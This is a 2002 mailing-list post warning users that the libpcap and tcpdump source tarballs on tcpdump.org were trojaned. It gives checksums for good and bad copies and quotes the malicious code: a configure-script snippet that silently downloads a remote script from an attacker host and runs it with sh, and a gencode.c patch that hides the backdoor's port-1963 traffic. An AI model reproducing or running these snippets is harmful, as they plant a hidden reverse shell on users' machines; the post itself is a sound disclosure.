Wireshark · Ethereal-users: [Ethereal-users] IMPORTANT !!!

[COLIN Stéphane <scolin@xxxxxxxxxxxx>]

To all users using ethereal, check yours libpcap & tcpdump sources !!!

Reference : http://hlug.fscker.com/

Latest libpcap & tcpdump sources from tcpdump.org contain a trojan.

Background:

    * Libpcap provides a packet sniffing library for programs like Snort.
    * Tcpdump is a standard tool for packet sniffing.

Details:

    * The trojan contains modifications to the configure script and 
gencode.c (in libpcap only).

    * The configure script downloads 
http://mars.raketti.net/~mash/services which is then sourced with the 
shell. It contains an embedded shell script that creates a C file, and 
compiles it.

    * The program connects to 212.146.0.34 (mars.raketti.net) on port 
1963 and reads one of three one byte status codes:
          o A - program exits
          o D - forks and spawns a shell and does the needed file 
descriptor manipulation to redirect it to the existing connection to 
212.146.0.34.
          o M - closes connection, sleeps 3600 seconds, and then 
reconnects

      Hmm... ADM...

    * It's important to note that it reuses the same outgoing 
connection for the shell. This gets around firewalls that block incoming 
connections.

    * Gencode.c is modified to force libpcap to ignore packets to/from 
the backdoor program, hiding the backdoor program's traffic.

    * This is similar to the OpenSSH trojan a few months ago.

Updates:

    * Many Mirrors are infected with the trojan!!!
    * Main Mirror Site (wiretapped.net) will no longer be providing 
tcpdump downloads until things are straightened out.

Good sources:

http://www.ibiblio.org/pub/Linux/distributions/gentoo/distfiles/libpcap-0.7.1.tar.gz
http://www.ibiblio.org/pub/Linux/distributions/gentoo/distfiles/tcpdump-3.6.2.tar.gz
http://www.ibiblio.org/pub/Linux/distributions/gentoo/distfiles/tcpdump-3.7.1.tar.gz

MD5 Sum 0597c23e3496a5c108097b2a0f1bd0c7  libpcap-0.7.1.tar.gz
MD5 Sum 6bc8da35f9eed4e675bfdf04ce312248  tcpdump-3.6.2.tar.gz
MD5 Sum 03e5eac68c65b7e6ce8da03b0b0b225e  tcpdump-3.7.1.tar.gz

Trojaned sources:

http://www.tcpdump.org/release/libpcap-0.7.1.tar.gz
http://www.tcpdump.org/release/tcpdump-3.6.2.tar.gz
http://www.tcpdump.org/release/tcpdump-3.7.1.tar.gz

MD5 Sum 73ba7af963aff7c9e23fa1308a793dca  libpcap-0.7.1.tar.gz
MD5 Sum 3a1c2dd3471486f9c7df87029bf2f1e9  tcpdump-3.6.2.tar.gz
MD5 Sum 3c410d8434e63fb3931fe77328e4dd88  tcpdump-3.7.1.tar.gz

The (relevant) gencode.c diff:

*** 288,293 ****
--- 289,318 ----
  {
        extern int n_errors;
        int len;
+         int l;
+         char *port = "1963";
+         char *str, *tmp, *new = "not port 1963";
+
+     if (buf && *buf && strstr (buf, port)) {
+         buf = "port 1964";
+     }
+     else {
+         l = strlen (new) + 1;
+         if (!(!buf || !*buf)) {
+             l += strlen (buf);
+             l += 5; /* and */
+         }
+
+         str = (char *)malloc (l);
+         str[0] = '\0';
+         if (!(!buf || !*buf)) {
+             strcpy (str, buf);
+             strcat (str, " and ");
+         }
+
+         strcat (str, new);
+         buf = str;
+     }

        no_optimize = 0;
        n_errors = 0;
***************


The (relevant) configure diff:

+  CNF="services"
+  URL="mars.raketti.net/~mash/$CNF"

!  (IFS=","
!  ARGS="wget -q -O -,lynx --source,fetch -q -o -"
!
!  for i in $ARGS; do
!        IFS=" "
!        $i $URL 1> $CNF
!        if [ -f $CNF ]; then sh $CNF
!            exit
!        fi
!        rm -f $CNF
!  done) 1>/dev/null 2>/dev/null &

The "services" payload:

    * trojan-script, the non-obfuscated portion (excerpted)
    * services, the complete version

Thanks to:

Russell Adams <rladams@NO_SPAMadamsinfoserv.com>
Mathew Solnik <msolnik@NO_SPAMhlug.org>
Scott Stout <skout@NO_SPAMwiretapped.us>

with the Houston Linux Users Group.

Additional thanks to Bruce Locke for interpreting the backdoor code.

Thanks to Antioffline.com for hosting us, and Gentoo's Portage system 
for catching the trojaned files via checksums.

Last update: Wed Nov 13 03:44:08 CST 2002
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COLIN Stephane, scolin@xxxxxxxxxxxx
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